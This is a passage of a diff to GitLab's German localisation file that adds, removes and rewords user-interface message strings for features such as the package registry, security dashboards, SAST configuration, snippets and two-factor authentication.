msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr "PyPi"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr "Bitte wähle eine Gruppen-URL ohne Sonderzeichen."
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr "Aktueller Status"
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr "Konto löschen"
-
msgid "Profiles|Delete account"
msgstr "Konto löschen"
-msgid "Profiles|Delete your account?"
-msgstr "Dein Konto löschen?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "Löschen eines Kontos hat folgende Auswirkungen:"
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr "Niemand"
msgid "ProjectFileTree|Name"
msgstr "Name"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Niemals"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr "Operator"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,12 +19872,21 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr "Grenzwert"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "Es wurden %{exporters} mit %{metrics} gefunden"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">Es wurden keine <a href=\"%{docsUrl}\">allgemeinen Metriken</a> gefunden</p>"
-
msgid "PrometheusService|Active"
msgstr "Aktiv"
@@ -19370,6 +19944,9 @@ msgstr "Weitere Informationen"
msgid "PrometheusService|New metric"
msgstr "Neue Metrik"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr "Zuletzt gesucht"
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "Genehmigungsberechtigte entfernen"
@@ -20136,9 +20725,6 @@ msgstr "Primärknoten entfernen"
msgid "Remove priority"
msgstr "Priorität entfernen"
-msgid "Remove project"
-msgstr "Projekt entfernen"
-
msgid "Remove secondary node"
msgstr "Sekundärknoten entfernen"
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr "Entfernte Gruppe kann nicht wiederhergestellt werden!"
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr "Repository-Einstellungen"
-msgid "Repository URL"
-msgstr "Repository-URL"
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "Konflikte im Quell-Branch lösen"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr "Rook"
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr "Führe CI/CD-Pipelines für externe Repositories aus"
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr "Speichern"
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr "Variablen speichern"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "Nach unten scrollen"
@@ -21062,6 +21651,9 @@ msgstr "Branches durchsuchen"
msgid "Search branches and tags"
msgstr "Suche nach Branches und Tags"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "Secret"
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr "Dashboard bearbeiten"
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "Auswählen"
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "Quellbranch auswählen"
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr "Service-Desk"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Servicevorlagen"
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr "Zeige %{limit} von %{total_count} Tickets. "
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr "Etwas ist beim Ändern der Vertraulichkeit dieses Tickets fehlgeschlagen
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Etwas ist beim Ändern des Sperrzustandes von %{issuableDisplayName} schief gelaufen"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "Beim Umschalten des Buttons ist etwas schief gelaufen"
@@ -22622,11 +23271,11 @@ msgstr "Etwas lief schief, %{project} konnte nicht zum Dashboard hinzugefügt we
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
-msgstr "Etwas lief schief, Projekt konnte nicht entfernt werden"
+msgid "Something went wrong, unable to get projects"
+msgstr ""
msgid "Something went wrong, unable to search projects"
msgstr ""
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "Informationen synchronisieren"
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr "Tags"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "Tags-Feed"
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr "Test"
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Testabdeckung analysieren"
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,16 +24531,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "Die „Erweiterte Globale Suche“ in GitLab ist ein leistungsfähiger Suchdienst, der dir Zeit spart. Anstatt doppelten Code zu erstellen und Zeit zu verschwenden, kannst du nun bei anderen Teams nach Code suchen, der für dein eigenes Projekt hilfreich sein kann."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Das zu verwendende X.509-Zertifikat, wenn über MTLS mit dem externen Autorisierungsdienst kommunizieren muss. Wenn dieses Feld leer gelassen wird, wird das Serverzertifikat beim Zugriff über HTTPS weiterhin überprüft."
@@ -23935,6 +24596,9 @@ msgstr "Ereignisse, die für diese Phase ausgewertet wurden."
msgid "The commit does not exist"
msgstr "Der Commit existiert nicht"
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Die Verbindung wird nach %{timeout} beendet. Verwende eine Clone/Push-Kombination für Repositorys, die länger brauchen."
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr "Der Dateiname sollte eine .yml-Endung haben"
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,14 +24760,14 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
-msgstr "Der Ort für Deine Designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
+msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
msgstr "Das Kennwort, das zum Entschlüsseln des privaten Schlüssels erforderlich ist. Dies ist optional und der Wert wird im Ruhezustand verschlüsselt."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "Auf das Projekt kann ohne Authentifizierung zugegriffen werden."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr "Beim Abonnieren dieses Labels ist ein Fehler aufgetreten."
msgid "There was an error when unsubscribing from this label."
msgstr "Beim Abmelden von der Abonnierung dieses Labels ist ein Fehler aufgetreten."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr "Angebote von Drittanbietern"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr "Dieses Ticket ist vertraulich"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr "Dieses Projekt hat derzeit noch keine Wiki-Startseite"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr "Für dieses Projekt ist keine Abrechnung aktiviert. Um ein Cluster zu erstellen, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">aktiviere die Abrechnung<i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> und versuche es erneut."
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr "Dieses Projekt ist archiviert und kann nicht kommentiert werden."
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr "Diese(r) Benutzer(in) wird der/die Autor(in) aller Ereignisse im Aktivit
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr "Um ein SVN-Repository zu verbinden, lies %{svn_link}."
msgid "To define internal users, first enable new users set to external"
msgstr "Um interne Benutzer(innen) zu definieren, musst du zunächst externe Benutzer(innen) aktivieren"
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr "Um es zu aktivieren und Benutzer-Kohorten zu sehen, gehe zu den %{application_settings_link_start}Anwendungseinstellungen%{application_settings_link_end}."
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr "Füge ein Start- oder Fälligkeitsdatum zu einem deiner Epics in dieser Gruppe oder ihrer Untergruppen hinzu, um die Roadmap anzuzeigen. In der Monatsansicht werden nur Epics des letzten Monats, des aktuellen Monats und der nächsten 5 Monate angezeigt."
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr "Heute"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Morgen"
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr "Pipelines für Mirror-Updates auslösen"
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "Aktiviere den Service-Desk"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25747,12 +26447,24 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr ""
-
msgid "Two-factor authentication"
msgstr "Zwei-Faktor-Authentifizierung"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "Typ"
@@ -25933,8 +26645,8 @@ msgstr "Entsperren"
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "Dieses %{issuableDisplayName} entsperren? <strong>Jeder</strong> wird in der Lage sein zu kommentieren."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "Entsperrt"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
